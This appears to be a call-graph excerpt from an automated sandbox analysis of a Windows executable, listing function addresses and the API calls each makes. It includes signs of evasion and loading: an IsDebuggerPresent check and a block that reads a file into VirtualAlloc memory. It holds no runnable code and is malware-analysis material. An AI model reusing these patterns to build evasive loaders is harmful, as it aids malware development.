85473 42248b __lseeki64 85473->85461 85475 418407 __lock 66 API calls 85475->85478 85478->85472 85478->85473 85478->85475 85481 41a74c 5 API calls 2 library calls 85478->85481 85482 42254e LeaveCriticalSection _doexit 85478->85482 85483 411afc 6 API calls __decode_pointer 85478->85483 85479->85470 85481->85478 85482->85478 85483->85478 85484->85382 85485->85391 85486->85390 85487->85413 85488->85417 85490 41848c 85489->85490 85491 41696e __encode_pointer 6 API calls 85490->85491 85492 4184a4 85490->85492 85491->85490 85492->85421 85537 40eb70 85493->85537 85496->85434 85497->85436 85498->85438 85541 401f80 85499->85541 85501 40d6f1 IsDebuggerPresent 85502 431a9d MessageBoxA 85501->85502 85503 40d6ff 85501->85503 85504 431ab6 85502->85504 85503->85504 85505 40d71f 85503->85505 85634 403e90 75 API calls 3 library calls 85504->85634 85611 40f3b0 85505->85611 85509 40d73a GetFullPathNameW 85631 401440 127 API calls _wcscat 85509->85631 85511 40d77a 85512 40d782 85511->85512 85514 431b09 SetCurrentDirectoryW 85511->85514 85513 40d78b 85512->85513 85635 43604b 6 API calls 85512->85635 85623 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85513->85623 85514->85512 85517 431b28 85517->85513 85519 431b30 GetModuleFileNameW 85517->85519 85521 431ba4 GetForegroundWindow ShellExecuteW 85519->85521 85522 431b4c 85519->85522 85525 40d7c7 85521->85525 85636 401b70 75 API calls 2 library calls 85522->85636 85523 40d795 85531 40d7a8 85523->85531 85632 40e1e0 97 API calls _memset 85523->85632 85529 40d7d1 SetCurrentDirectoryW 85525->85529 85526 431b5a 85637 40d3b0 75 API calls 2 library calls 85526->85637 85529->85440 85530 431b66 85638 40d3b0 75 API calls 2 library calls 85530->85638 85531->85525 85633 401000 Shell_NotifyIconW _memset 85531->85633 85534 431b72 GetForegroundWindow ShellExecuteW 85535 431b9f 85534->85535 85535->85525 85536 40eba0 LoadLibraryA GetProcAddress 85536->85431 85538 40d86e 85537->85538 85539 40eb76 LoadLibraryA 85537->85539 85538->85431 85538->85536 85539->85538 85540 40eb87 GetProcAddress 85539->85540 85540->85538 85639 40e680 75 API calls 85541->85639 85543 401f90 85640 402940 75 API calls __write_nolock 85543->85640 85545 401fa2 GetModuleFileNameW 85641 40ff90 85545->85641 85547 401fbd 85653 4107b0 75 API calls 85547->85653 85549 401fd6 85654 401b70 75 API calls 2 library calls 85549->85654 85551 401fe4 85655 4019e0 76 API calls 85551->85655 85553 401ff2 85554 4092c0 VariantClear 85553->85554 85555 402002 85554->85555 85656 401b70 75 API calls 2 library calls 85555->85656 85557 40201c 85657 4019e0 76 API calls 85557->85657 85559 40202c 85658 401b70 75 API calls 2 library calls 85559->85658 85561 40203c 85659 40c3e0 75 API calls 85561->85659 85563 40204d 85660 40c060 85563->85660 85567 40206e 85666 4115d0 79 API calls __wcsicmp_l 85567->85666 85569 40207d 85570 42c174 85569->85570 85571 402088 85569->85571 85677 401a70 75 API calls 85570->85677 85667 4115d0 79 API calls __wcsicmp_l 85571->85667 85574 42c189 85678 401a70 75 API calls 85574->85678 85575 402093 85575->85574 85576 40209e 85575->85576 85668 4115d0 79 API calls __wcsicmp_l 85576->85668 85579 42c1a7 85581 42c1b0 GetModuleFileNameW 85579->85581 85580 4020a9 85580->85581 85582 4020b4 85580->85582 85679 401a70 75 API calls 85581->85679 85669 4115d0 79 API calls __wcsicmp_l 85582->85669 85585 4020bf 85587 402107 85585->85587 85594 42c20a _wcscpy 85585->85594 85670 401a70 75 API calls 85585->85670 85586 42c1e2 85680 40df50 75 API calls 85586->85680 85589 402119 85587->85589 85587->85594 85591 42c243 85589->85591 85672 40e7e0 76 API calls 85589->85672 85590 42c1f1 85681 401a70 75 API calls 85590->85681 85682 401a70 75 API calls 85594->85682 85596 4020e5 _wcscpy 85671 401a70 75 API calls 85596->85671 85597 42c201 85597->85594 85599 402132 85673 40d030 76 API calls 85599->85673 85602 40213e 85603 4092c0 VariantClear 85602->85603 85606 402148 85603->85606 85604 402184 85608 4092c0 VariantClear 85604->85608 85606->85604 85674 40d030 76 API calls 85606->85674 85675 40e640 76 API calls 85606->85675 85676 401a70 75 API calls 85606->85676 85610 402196 ctype 85608->85610 85610->85501 85612 40f3c9 85611->85612 85613 42ccf4 _memset 85611->85613 86342 40ffb0 76 API calls ctype 85612->86342 85615 42cd05 GetOpenFileNameW 85613->85615 85615->85612 85617 40d732 85615->85617 85616 40f3d2 86343 410130 SHGetMalloc 85616->86343 85617->85509 85617->85511 85619 40f3d9 86348 410020 88 API calls __wcsicoll 85619->86348 85621 40f3e7 86349 40f400 85621->86349 85624 42b9d3 85623->85624 85625 41025a LoadImageW RegisterClassExW 85623->85625 86396 443e8f EnumResourceNamesW LoadImageW 85624->86396 86395 4102f0 7 API calls 85625->86395 85628 40d790 85630 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85628->85630 85629 42b9da 85630->85523 85631->85511 85632->85531 85633->85525 85634->85511 85635->85517 85636->85526 85637->85530 85638->85534 85639->85543 85640->85545 85683 40f5e0 85641->85683 85644 40ffa6 85644->85547 85646 42b6d8 85647 42b6e6 85646->85647 85739 434fe1 85646->85739 85649 413a88 ___endstdio 67 API calls 85647->85649 85650 42b6f5 85649->85650 85651 434fe1 106 API calls 85650->85651 85652 42b702 85651->85652 85652->85547 85653->85549 85654->85551 85655->85553 85656->85557 85657->85559 85658->85561 85659->85563 85661 41171a 75 API calls 85660->85661 85662 40c088 85661->85662 85663 41171a 75 API calls 85662->85663 85664 402061 85663->85664 85665 401a70 75 API calls 85664->85665 85665->85567 85666->85569 85667->85575 85668->85580 85669->85585 85670->85596 85671->85587 85672->85599 85673->85602 85674->85606 85675->85606 85676->85606 85677->85574 85678->85579 85679->85586 85680->85590 85681->85597 85682->85606 85743 40f580 85683->85743 85685 40f5f8 _strcat ctype 85751 40f6d0 85685->85751 85690 42b2ee 85780 4151b0 85690->85780 85692 40f679 85692->85690 85693 40f681 85692->85693 85767 414e94 85693->85767 85697 40f68b 85697->85644 85702 452574 85697->85702 85699 42b31d 85786 415484 85699->85786 85701 42b33d 85703 41557c _fseek 105 API calls 85702->85703 85704 4525df 85703->85704 86287 4523ce 85704->86287 85707 4525fc 85707->85646 85708 4151b0 __fread_nolock 81 API calls 85709 45261d 85708->85709 85710 4151b0 __fread_nolock 81 API calls 85709->85710 85711 45262e 85710->85711 85712 4151b0 __fread_nolock 81 API calls 85711->85712 85713 452649 85712->85713 85714 4151b0 __fread_nolock 81 API calls 85713->85714 85715 452666 85714->85715 85716 41557c _fseek 105 API calls 85715->85716 85717 452682 85716->85717 85718 4138ba _malloc 67 API calls 85717->85718 85719 45268e 85718->85719 85720 4138ba _malloc 67 API calls 85719->85720 85721 45269b 85720->85721 85722 4151b0 __fread_nolock 81 API calls 85721->85722 85723 4526ac 85722->85723 85724 44afdc GetSystemTimeAsFileTime 85723->85724 85725 4526bf 85724->85725 85726 4526d5 85725->85726 85727 4526fd 85725->85727 85728 413a88 ___endstdio 67 API calls 85726->85728 85729 452704 85727->85729 85730 45275b 85727->85730 85732 4526df 85728->85732 86293 44b195 85729->86293 85731 413a88 ___endstdio 67 API calls 85730->85731 85734 452759 85731->85734 85735 413a88 ___endstdio 67 API calls 85732->85735 85734->85646 85737 4526e8 85735->85737 85736 452753 85738 413a88 ___endstdio 67 API calls 85736->85738 85737->85646 85738->85734 85740 434ff1 85739->85740 85741 434feb 85739->85741 85740->85647 85742 414e94 __fcloseall 106 API calls 85741->85742 85742->85740 85744 429440 85743->85744 85745 40f589 _wcslen 85743->85745 85746 40f58f WideCharToMultiByte 85745->85746 85747 40f5d8 85746->85747 85748 40f5ad 85746->85748 85747->85685 85749 41171a 75 API calls 85748->85749 85750 40f5bb WideCharToMultiByte 85749->85750 85750->85685 85752 40f6dd _strlen 85751->85752 85799 40f790 85752->85799 85755 414e06 85818 414d40 85755->85818 85757 40f666 85757->85690 85758 40f450 85757->85758 85762 40f45a _strcat _realloc __write_nolock 85758->85762 85759 4151b0 __fread_nolock 81 API calls 85759->85762 85760 40f531 85760->85692 85762->85759 85762->85760 85764 42936d 85762->85764 85901 41557c 85762->85901 85763 41557c _fseek 105 API calls 85765 429394 85763->85765 85764->85763 85766 4151b0 __fread_nolock 81 API calls 85765->85766 85766->85760 85768 414ea0 __lseeki64 85767->85768 85769 414ed1 85768->85769 85770 414eb4 85768->85770 85772 415965 __lock_file 68 API calls 85769->85772 85777 414ec9 __lseeki64 85769->85777 86040 417f23 67 API calls __getptd_noexit 85770->86040 85774 414ee9 85772->85774 85773 414eb9 86041 417ebb 6 API calls 2 library calls 85773->86041 86024 414e1d 85774->86024 85777->85697 86109 41511a 85780->86109 85782 4151c8 85783 44afdc 85782->85783 86280 4431e0 85783->86280 85785 44affd 85785->85699 85787 415490 __lseeki64 85786->85787 85788 4154bb 85787->85788 85789 41549e 85787->85789 85791 415965 __lock_file 68 API calls 85788->85791 86284 417f23 67 API calls __getptd_noexit 85789->86284 85793 4154c3 85791->85793 85792 4154a3 86285 417ebb 6 API calls 2 library calls 85792->86285 85795 4152e7 __ftell_nolock 71 API calls 85793->85795 85796 4154cf 85795->85796 86286 4154e8 LeaveCriticalSection LeaveCriticalSection _fseek 85796->86286 85798 4154b3 __lseeki64 85798->85701 85800 40f7ae _memset 85799->85800 85802 40f628 85800->85802 85803 415258 85800->85803 85802->85755 85804 415285 85803->85804 85805 415268 85803->85805 85804->85805 85807 41528c 85804->85807 85814 417f23 67 API calls __getptd_noexit 85805->85814 85816 41c551 103 API calls 14 library calls 85807->85816 85808 41526d 85815 417ebb 6 API calls 2 library calls 85808->85815 85811 4152b2 85812 41527d 85811->85812 85817 4191c9 101 API calls 6 library calls 85811->85817 85812->85800 85814->85808 85816->85811 85817->85812 85819 414d4c __lseeki64 85818->85819 85820 414d5f 85819->85820 85823 414d95 85819->85823 85870 417f23 67 API calls __getptd_noexit 85820->85870 85822 414d64 85871 417ebb 6 API calls 2 library calls 85822->85871 85837 41e28c 85823->85837 85826 414d9a 85827 414da1 85826->85827 85828 414dae 85826->85828 85872 417f23 67 API calls __getptd_noexit 85827->85872 85829 414dd6 85828->85829 85830 414db6 85828->85830 85855 41dfd8 85829->85855 85873 417f23 67 API calls __getptd_noexit 85830->85873 85834 414d74 __lseeki64 @_EH4_CallFilterFunc@8 85834->85757 85838 41e298 __lseeki64 85837->85838 85839 418407 __lock 67 API calls 85838->85839 85850 41e2a6 85839->85850 85840 41e31b 85875 41e3bb 85840->85875 85841 41e322 85843 416fb6 __malloc_crt 67 API calls 85841->85843 85845 41e32c 85843->85845 85844 41e3b0 __lseeki64 85844->85826 85845->85840 85880 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85845->85880 85848 418344 __mtinitlocknum 67 API calls 85848->85850 85849 41e351 85851 41e35c 85849->85851 85852 41e36f EnterCriticalSection 85849->85852 85850->85840 85850->85841 85850->85848 85878 4159a6 68 API calls __lock 85850->85878 85879 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85850->85879 85854 413a88 ___endstdio 67 API calls 85851->85854 85852->85840 85854->85840 85864 41dffb __wopenfile 85855->85864 85856 41e015 85885 417f23 67 API calls __getptd_noexit 85856->85885 85857 41e1e9 85857->85856 85860 41e247 85857->85860 85859 41e01a 85886 417ebb 6 API calls 2 library calls 85859->85886 85882 425db0 85860->85882 85864->85856 85864->85857 85887 4136bc 79 API calls 2 library calls 85864->85887 85866 41e1e2 85866->85857 85888 4136bc 79 API calls 2 library calls 85866->85888 85868 41e201 85868->85857 85889 4136bc 79 API calls 2 library calls 85868->85889 85870->85822 85872->85834 85873->85834 85874 414dfc LeaveCriticalSection LeaveCriticalSection _fseek 85874->85834 85881 41832d LeaveCriticalSection 85875->85881 85877 41e3c2 85877->85844 85878->85850 85879->85850 85880->85849 85881->85877 85890 425ce4 85882->85890 85884 414de1 85884->85874 85885->85859 85887->85866 85888->85868 85889->85857 85891 425cf0 __lseeki64 85890->85891 85892 425d03 85891->85892 85895 425d41 85891->85895 85893 417f23 __wcsicmp_l 67 API calls 85892->85893 85894 425d08 85893->85894 85896 417ebb __wcsicmp_l 6 API calls 85894->85896 85897 4255c4 __tsopen_nolock 132 API calls 85895->85897 85900 425d17 __lseeki64 85896->85900 85898 425d5b 85897->85898 85899 425d82 __sopen_helper LeaveCriticalSection 85898->85899 85899->85900 85900->85884 85905 415588 __lseeki64 85901->85905 85902 415596 85932 417f23 67 API calls __getptd_noexit 85902->85932 85904 4155c4 85914 415965 85904->85914 85905->85902 85905->85904 85906 41559b 85933 417ebb 6 API calls 2 library calls 85906->85933 85910 4155ab __lseeki64 85910->85762 85915 415977 85914->85915 85916 415999 EnterCriticalSection 85914->85916 85915->85916 85917 41597f 85915->85917 85918 4155cc 85916->85918 85919 418407 __lock 67 API calls 85917->85919 85920 4154f2 85918->85920 85919->85918 85921 415512 85920->85921 85922 415502 85920->85922 85924 415524 85921->85924 85935 4152e7 85921->85935 85989 417f23 67 API calls __getptd_noexit 85922->85989 85952 41486c 85924->85952 85926 415507 85934 4155f7 LeaveCriticalSection LeaveCriticalSection _fseek 85926->85934 85932->85906 85934->85910 85936 41531a 85935->85936 85937 4152fa 85935->85937 85939 41453a __fileno 67 API calls 85936->85939 85990 417f23 67 API calls __getptd_noexit 85937->85990 85941 415320 85939->85941 85940 4152ff 85991 417ebb 6 API calls 2 library calls 85940->85991 85943 41efd4 __locking 71 API calls 85941->85943 85945 415335 85943->85945 85944 41530f 85944->85924 85945->85944 85946 4153a9 85945->85946 85948 415364 85945->85948 85992 417f23 67 API calls __getptd_noexit 85946->85992 85948->85944 85949 41efd4 __locking 71 API calls 85948->85949 85950 415404 85949->85950 85950->85944 85951 41efd4 __locking 71 API calls 85950->85951 85951->85944 85953 4148a7 85952->85953 85954 414885 85952->85954 85958 41453a 85953->85958 85954->85953 85955 41453a __fileno 67 API calls 85954->85955 85956 4148a0 85955->85956 85993 41c3cf 101 API calls 6 library calls 85956->85993 85959 41455e 85958->85959 85960 414549 85958->85960 85964 41efd4 85959->85964 85994 417f23 67 API calls __getptd_noexit 85960->85994 85962 41454e 85995 417ebb 6 API calls 2 library calls 85962->85995 85965 41efe0 __lseeki64 85964->85965 85966 41f003 85965->85966 85967 41efe8 85965->85967 85968 41f011 85966->85968 85974 41f052 85966->85974 86016 417f36 67 API calls __getptd_noexit 85967->86016 86018 417f36 67 API calls __getptd_noexit 85968->86018 85970 41efed 86017 417f23 67 API calls __getptd_noexit 85970->86017 85973 41f016 86019 417f23 67 API calls __getptd_noexit 85973->86019 85996 41ba3b 85974->85996 85977 41f058 85979 41f065 85977->85979 85980 41f07b 85977->85980 85978 41f01d 86020 417ebb 6 API calls 2 library calls 85978->86020 86006 41ef5f 85979->86006 86021 417f23 67 API calls __getptd_noexit 85980->86021 85984 41eff5 __lseeki64 85984->85926 85985 41f073 86023 41f0a6 LeaveCriticalSection __unlock_fhandle 85985->86023 85986 41f080 86022 417f36 67 API calls __getptd_noexit 85986->86022 85989->85926 85990->85940 85992->85944 85993->85953 85994->85962 85997 41ba47 __lseeki64 85996->85997 85998 41baa2 85997->85998 85999 418407 __lock 67 API calls 85997->85999 86000 41bac4 __lseeki64 85998->86000 86001 41baa7 EnterCriticalSection 85998->86001 86002 41ba73 85999->86002 86000->85977 86001->86000 86003 4189e6 __ioinit InitializeCriticalSectionAndSpinCount 86002->86003 86005 41ba8a 86002->86005 86003->86005 86004 41bad2 ___lock_fhandle LeaveCriticalSection 86004->85998 86005->86004 86007 41b9c4 __close_nolock 67 API calls 86006->86007 86008 41ef6e 86007->86008 86009 41ef84 SetFilePointer 86008->86009 86010 41ef74 86008->86010 86012 41efa3 86009->86012 86013 41ef9b GetLastError 86009->86013 86011 417f23 __wcsicmp_l 67 API calls 86010->86011 86014 41ef79 86011->86014 86012->86014 86015 417f49 __dosmaperr 67 API calls 86012->86015 86013->86012 86014->85985 86015->86014 86016->85970 86017->85984 86018->85973 86019->85978 86021->85986 86022->85985 86023->85984 86025 414e31 86024->86025 86026 414e4d 86024->86026 86070 417f23 67 API calls __getptd_noexit 86025->86070 86027 414e46 86026->86027 86029 41486c __flush 101 API calls 86026->86029 86042 414f08 LeaveCriticalSection LeaveCriticalSection _fseek 86027->86042 86031 414e59 86029->86031 86030 414e36 86071 417ebb 6 API calls 2 library calls 86030->86071 86043 41e680 86031->86043 86035 41453a __fileno 67 API calls 86036 414e67 86035->86036 86047 41e5b3 86036->86047 86038 414e6d 86038->86027 86039 413a88 ___endstdio 67 API calls 86038->86039 86039->86027 86040->85773 86042->85777 86044 41e690 86043->86044 86045 414e61 86043->86045 86044->86045 86046 413a88 ___endstdio 67 API calls 86044->86046 86045->86035 86046->86045 86048 41e5bf __lseeki64 86047->86048 86049 41e5c7 86048->86049 86051 41e5e2 86048->86051 86087 417f36 67 API calls __getptd_noexit 86049->86087 86050 41e5f0 86089 417f36 67 API calls __getptd_noexit 86050->86089 86051->86050 86056 41e631 86051->86056 86054 41e5cc 86088 417f23 67 API calls __getptd_noexit 86054->86088 86055 41e5f5 86090 417f23 67 API calls __getptd_noexit 86055->86090 86059 41ba3b ___lock_fhandle 68 API calls 86056->86059 86061 41e637 86059->86061 86060 41e5fc 86091 417ebb 6 API calls 2 library calls 86060->86091 86063 41e652 86061->86063 86064 41e644 86061->86064 86092 417f23 67 API calls __getptd_noexit 86063->86092 86072 41e517 86064->86072 86067 41e5d4 __lseeki64 86067->86038 86068 41e64c 86093 41e676 LeaveCriticalSection __unlock_fhandle 86068->86093 86070->86030 86094 41b9c4 86072->86094 86074 41e57d 86107 41b93e 68 API calls 2 library calls 86074->86107 86075 41e527 86075->86074 86077 41b9c4 __close_nolock 67 API calls 86075->86077 86086 41e55b 86075->86086 86081 41e552 86077->86081 86078 41b9c4 __close_nolock 67 API calls 86082 41e567 CloseHandle 86078->86082 86079 41e585 86080 41e5a7 86079->86080 86108 417f49 67 API calls 3 library calls 86079->86108 86080->86068 86084 41b9c4 __close_nolock 67 API calls 86081->86084 86082->86074 86085 41e573 GetLastError 86082->86085 86084->86086 86085->86074 86086->86074 86086->86078 86087->86054 86088->86067 86089->86055 86090->86060 86092->86068 86093->86067 86095 41b9d1 86094->86095 86096 41b9e9 86094->86096 86097 417f36 __set_osfhnd 67 API calls 86095->86097 86099 417f36 __set_osfhnd 67 API calls 86096->86099 86101 41ba2e 86096->86101 86098 41b9d6 86097->86098 86100 417f23 __wcsicmp_l 67 API calls 86098->86100 86102 41ba17 86099->86102 86103 41b9de 86100->86103 86101->86075 86104 417f23 __wcsicmp_l 67 API calls 86102->86104 86103->86075 86105 41ba1e 86104->86105 86106 417ebb __wcsicmp_l 6 API calls 86105->86106 86106->86101 86107->86079 86108->86080 86110 415126 __lseeki64 86109->86110 86111 41516f 86110->86111 86112 415164 __lseeki64 86110->86112 86117 41513a _memset 86110->86117 86113 415965 __lock_file 68 API calls 86111->86113 86112->85782 86114 415177 86113->86114 86122 414f10 86114->86122 86138 417f23 67 API calls __getptd_noexit 86117->86138 86118 415154 86139 417ebb 6 API calls 2 library calls 86118->86139 86123 414f4c 86122->86123 86126 414f2e _memset 86122->86126 86140 4151a6 LeaveCriticalSection LeaveCriticalSection _fseek 86123->86140 86124 414f37 86191 417f23 67 API calls __getptd_noexit 86124->86191 86126->86123 86126->86124 86129 414f8b 86126->86129 86129->86123 86130 41453a __fileno 67 API calls 86129->86130 86132 4150d5 _memset 86129->86132 86134 4150a9 _memset 86129->86134 86141 41ed9e 86129->86141 86171 41e6b1 86129->86171 86193 41ee9b 67 API calls 3 library calls 86129->86193 86130->86129 86195 417f23 67 API calls __getptd_noexit 86132->86195 86194 417f23 67 API calls __getptd_noexit 86134->86194 86136 414f3c 86192 417ebb 6 API calls 2 library calls 86136->86192 86138->86118 86140->86112 86142 41edaa __lseeki64 86141->86142 86143 41edb2 86142->86143 86144 41edcd 86142->86144 86265 417f36 67 API calls __getptd_noexit 86143->86265 86146 41eddb 86144->86146 86149 41ee1c 86144->86149 86267 417f36 67 API calls __getptd_noexit 86146->86267 86147 41edb7 86266 417f23 67 API calls __getptd_noexit 86147->86266 86152 41ee29 86149->86152 86153 41ee3d 86149->86153 86151 41ede0 86268 417f23 67 API calls __getptd_noexit 86151->86268 86270 417f36 67 API calls __getptd_noexit 86152->86270 86156 41ba3b ___lock_fhandle 68 API calls 86153->86156 86159 41ee43 86156->86159 86157 41ede7 86269 417ebb 6 API calls 2 library calls 86157->86269 86158 41ee2e 86271 417f23 67 API calls __getptd_noexit 86158->86271 86163 41ee50 86159->86163 86164 41ee66 86159->86164 86162 41edbf __lseeki64 86162->86129 86196 41e7dc 86163->86196 86272 417f23 67 API calls __getptd_noexit 86164->86272 86167 41ee6b 86273 417f36 67 API calls __getptd_noexit 86167->86273 86168 41ee5e 86274 41ee91 LeaveCriticalSection __unlock_fhandle 86168->86274 86172 41e6c1 86171->86172 86175 41e6de 86171->86175 86278 417f23 67 API calls __getptd_noexit 86172->86278 86174 41e6c6 86279 417ebb 6 API calls 2 library calls 86174->86279 86177 41e713 86175->86177 86183 41e6d6 86175->86183 86275 423600 86175->86275 86179 41453a __fileno 67 API calls 86177->86179 86180 41e727 86179->86180 86181 41ed9e __read 79 API calls 86180->86181 86182 41e72e 86181->86182 86182->86183 86184 41453a __fileno 67 API calls 86182->86184 86183->86129 86185 41e751 86184->86185 86185->86183 86186 41453a __fileno 67 API calls 86185->86186 86187 41e75d 86186->86187 86187->86183 86188 41453a __fileno 67 API calls 86187->86188 86189 41e769 86188->86189 86190 41453a __fileno 67 API calls 86189->86190 86190->86183 86191->86136 86193->86129 86194->86136 86195->86136 86197 41e813 86196->86197 86198 41e7f8 86196->86198 86200 41e822 86197->86200 86203 41e849 86197->86203 86199 417f36 __set_osfhnd 67 API calls 86198->86199 86202 41e7fd 86199->86202 86201 417f36 __set_osfhnd 67 API calls 86200->86201 86204 41e827 86201->86204 86206 417f23 __wcsicmp_l 67 API calls 86202->86206 86205 41e868 86203->86205 86216 41e87c 86203->86216 86207 417f23 __wcsicmp_l 67 API calls 86204->86207 86208 417f36 __set_osfhnd 67 API calls 86205->86208 86217 41e805 86206->86217 86210 41e82e 86207->86210 86212 41e86d 86208->86212 86209 41e8d4 86211 417f36 __set_osfhnd 67 API calls 86209->86211 86213 417ebb __wcsicmp_l 6 API calls 86210->86213 86214 41e8d9 86211->86214 86215 417f23 __wcsicmp_l 67 API calls 86212->86215 86213->86217 86218 417f23 __wcsicmp_l 67 API calls 86214->86218 86219 41e874 86215->86219 86216->86209 86216->86217 86220 41e8b0 86216->86220 86221 41e8f5 86216->86221 86217->86168 86218->86219 86222 417ebb __wcsicmp_l 6 API calls 86219->86222 86220->86209 86228 41e8bb ReadFile 86220->86228 86223 416fb6 __malloc_crt 67 API calls 86221->86223 86222->86217 86225 41e90b 86223->86225 86231 41e931 86225->86231 86232 41e913 86225->86232 86226 41ed62 GetLastError 86229 41ebe8 86226->86229 86230 41ed6f 86226->86230 86227 41e9e7 86227->86226 86235 41e9fb 86227->86235 86228->86226 86228->86227 86239 417f49 __dosmaperr 67 API calls 86229->86239 86245 41eb6d 86229->86245 86233 417f23 __wcsicmp_l 67 API calls 86230->86233 86236 423462 __lseeki64_nolock 69 API calls 86231->86236 86234 417f23 __wcsicmp_l 67 API calls 86232->86234 86237 41ed74 86233->86237 86238 41e918 86234->86238 86244 41ea17 86235->86244 86235->86245 86249 41ec2d 86235->86249 86240 41e93d 86236->86240 86241 417f36 __set_osfhnd 67 API calls 86237->86241 86242 417f36 __set_osfhnd 67 API calls 86238->86242 86239->86245 86240->86228 86241->86245 86242->86217 86243 413a88 ___endstdio 67 API calls 86243->86217 86246 41ea7d ReadFile 86244->86246 86253 41eafa 86244->86253 86245->86217 86245->86243 86248 41ea9b GetLastError 86246->86248 86261 41eaa5 86246->86261 86247 41eca5 ReadFile 86250 41ecc4 GetLastError 86247->86250 86262 41ecce 86247->86262 86248->86244 86248->86261 86249->86245 86249->86247 86250->86249 86250->86262 86251 41ebbe MultiByteToWideChar 86251->86245 86252 41ebe2 GetLastError 86251->86252 86252->86229 86253->86245 86254 41eb75 86253->86254 86255 41eb68 86253->86255 86263 41eb32 86253->86263 86259 41ebac 86254->86259 86254->86263 86256 417f23 __wcsicmp_l 67 API calls 86255->86256 86256->86245 86257 423462 __lseeki64_nolock 69 API calls 86257->86261 86258 423462 __lseeki64_nolock 69 API calls 86258->86262 86260 423462 __lseeki64_nolock 69 API calls 86259->86260 86264 41ebbb 86260->86264 86261->86244 86261->86257 86262->86249 86262->86258 86263->86251 86264->86251 86265->86147 86266->86162 86267->86151 86268->86157 86270->86158 86271->86157 86272->86167 86273->86168 86274->86162 86276 416fb6 __malloc_crt 67 API calls 86275->86276 86277 423615 86276->86277 86277->86177 86278->86174 86283 414cef GetSystemTimeAsFileTime __aulldiv 86280->86283 86282 4431ef 86282->85785 86283->86282 86284->85792 86286->85798 86292 4523e1 _wcscpy 86287->86292 86288 4151b0 81 API calls __fread_nolock 86288->86292 86289 44afdc GetSystemTimeAsFileTime 86289->86292 86290 452553 86290->85707 86290->85708 86291 41557c 105 API calls _fseek 86291->86292 86292->86288 86292->86289 86292->86290 86292->86291 86294 44b1b4 86293->86294 86295 44b1a6 86293->86295 86297 44b1ca 86294->86297 86298 44b1c2 86294->86298 86299 414e06 138 API calls 86294->86299 86296 414e06 138 API calls 86295->86296 86296->86294 86328 4352d1 81 API calls 2 library calls 86297->86328 86298->85736 86301 44b2c1 86299->86301 86301->86297 86303 44b2cf 86301->86303 86302 44b20d 86305 44b211 86302->86305 86306 44b23b 86302->86306 86304 44b2dc 86303->86304 86307 414e94 __fcloseall 106 API calls 86303->86307 86304->85736 86309 44b21e 86305->86309 86311 414e94 __fcloseall 106 API calls 86305->86311 86329 43526e 86306->86329 86307->86304 86312 44b22e 86309->86312 86315 414e94 __fcloseall 106 API calls 86309->86315 86310 44b242 86313 44b270 86310->86313 86314 44b248 86310->86314 86311->86309 86312->85736 86339 44b0af 111 API calls 86313->86339 86316 44b255 86314->86316 86318 414e94 __fcloseall 106 API calls 86314->86318 86315->86312 86319 44b265 86316->86319 86322 414e94 __fcloseall 106 API calls 86316->86322 86318->86316 86319->85736 86320 44b276 86340 43522c 67 API calls ___endstdio 86320->86340 86322->86319 86323 44b27c 86324 44b289 86323->86324 86325 414e94 __fcloseall 106 API calls 86323->86325 86326 44b299 86324->86326 86327 414e94 __fcloseall 106 API calls 86324->86327 86325->86324 86326->85736 86327->86326 86328->86302 86330 4138ba _malloc 67 API calls 86329->86330 86331 43527d 86330->86331 86332 4138ba _malloc 67 API calls 86331->86332 86333 43528d 86332->86333 86334 4138ba _malloc 67 API calls 86333->86334 86335 43529d 86334->86335 86337 4352bc 86335->86337 86341 43522c 67 API calls ___endstdio 86335->86341 86337->86310 86338 4352c8 86338->86310 86339->86320 86340->86323 86341->86338 86342->85616 86344 410148 SHGetDesktopFolder 86343->86344 86347 4101a3 _wcscpy 86343->86347 86345 41015a _wcscpy 86344->86345 86344->86347 86346 41018a SHGetPathFromIDListW 86345->86346 86345->86347 86346->86347 86347->85619 86348->85621 86350 40f5e0 152 API calls 86349->86350 86351 40f417 86350->86351 86352 42ca37 86351->86352 86354 40f42c 86351->86354 86355 42ca1f 86351->86355 86353 452574 140 API calls 86352->86353 86356 42ca50 86353->86356 86390 4037e0 139 API calls 7 library calls 86354->86390 86391 43717f 110 API calls _printf 86355->86391 86359 42ca76 86356->86359 86360 42ca54 86356->86360 86364 41171a 75 API calls 86359->86364 86363 434fe1 106 API calls 86360->86363 86361 40f446 86361->85617 86362 42ca2d 86362->86352 86365 42ca5e 86363->86365 86379 42cacc ctype 86364->86379 86392 43717f 110 API calls _printf 86365->86392 86367 42ca6c 86367->86359 86368 42ccc3 86369 413a88 ___endstdio 67 API calls 86368->86369 86370 42cccd 86369->86370 86371 434fe1 106 API calls 86370->86371 86372 42ccda 86371->86372 86376 401b70 75 API calls 86376->86379 86379->86368 86379->86376 86380 445051 86379->86380 86383 402cc0 75 API calls 2 library calls 86379->86383 86384 4026a0 86379->86384 86393 44c80c 87 API calls 3 library calls 86379->86393 86394 44b408 75 API calls 86379->86394 86381 41171a 75 API calls 86380->86381 86382 445080 _realloc 86381->86382 86382->86379 86382->86382 86383->86379 86385 4026af 86384->86385 86386 40276b 86384->86386 86385->86386 86387 41171a 75 API calls 86385->86387 86388 4026ee ctype 86385->86388 86386->86379 86387->86388 86388->86386 86389 41171a 75 API calls 86388->86389 86389->86388 86390->86361 86391->86362 86392->86367 86393->86379 86394->86379 86395->85628 86396->85629 86397 40b9878 86398 40b74c8 GetPEB 86397->86398 86399 40b9958 86398->86399 86411 40b9768 86399->86411 86401 40b9981 CreateFileW 86403 40b99d0 86401->86403 86404 40b99d5 86401->86404 86404->86403 86405 40b99ec VirtualAlloc 86404->86405 86405->86403 86406 40b9a0a ReadFile 86405->86406 86406->86403 86407 40b9a25 86406->86407 86408 40b8768 13 API calls 86407->86408 86409 40b9a58 86408->86409 86410 40b9a7b ExitProcess 86409->86410 86410->86403 86412 40b9771 Sleep 86411->86412 86413 40b977f 86412->86413 86414 431914 86415 431920 86414->86415 86416 431928 86415->86416 86417 43193d 86415->86417 86678 45e62e 116 API calls 3 library calls 86416->86678 86679 47f2b4 174 API calls 86417->86679 86420 43194a 86458 4095b0 ctype 86420->86458 86680 45e62e 116 API calls 3 library calls 86420->86680 86421 409708 86424 4097af 86424->86421 86665 40d590 VariantClear 86424->86665 86426 4315b8 WaitForSingleObject 86428 4315d6 GetExitCodeProcess CloseHandle 86426->86428 86426->86458 86669 40d590 VariantClear 86428->86669 86429 431623 Sleep 86432 43163b 